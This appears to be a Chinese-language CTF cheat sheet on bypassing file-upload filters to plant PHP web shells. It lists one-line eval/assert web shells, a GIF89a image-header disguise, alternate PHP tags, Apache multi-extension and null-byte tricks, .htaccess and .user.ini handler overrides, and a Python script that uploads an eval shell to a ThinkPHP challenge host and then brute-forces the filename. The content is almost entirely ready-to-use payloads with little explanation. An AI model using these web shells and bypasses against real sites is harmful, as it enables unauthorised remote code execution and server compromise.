文件上传

<?php @eval($_POST['cmd']);?>

加上头文件

GIF89a
<?php @eval($_POST['cmd']);?> 

绕过php字段

<? $a = "assert";$a(@$_POST['shell']); ?>
<script language="php">@eval($_POST['cmd'])</script>

绕过 #

apache解析漏洞 #

Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析

如png为白名单,apache无法解析png,会将其解析为php

1.php.png

截断 #

1.php%00.png

.htaccess #

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

.user.ini #

先上传.user.ini,后面的图片马会被自动解析为php

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。

GIF89a
auto_prepend_file=test.gif

不包含数字和字母的shell

https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html

大小写 #

pass

双写 #

pass

Think PHP upload #

think php upload 在不传参的时候可以多文件上传

import requests
url = "http://8cbe0e9c-b7de-46f3-b93d-555073775ad1.node3.buuoj.cn/index.php/home/index/upload"
files = {'file':("1.txt","")}
files2={'file[]':('1.php',"<?php eval($_GET['cmd'])?>")} # 用数组多文件上传

r = requests.post(url,files = files) #上传两遍,因为文件名是以uniqid命名的
print (r.text)
r = requests.post(url,files = files2)
print (r.text)
r = requests.post(url,files = files)
print (r.text)

再爆破php的文件名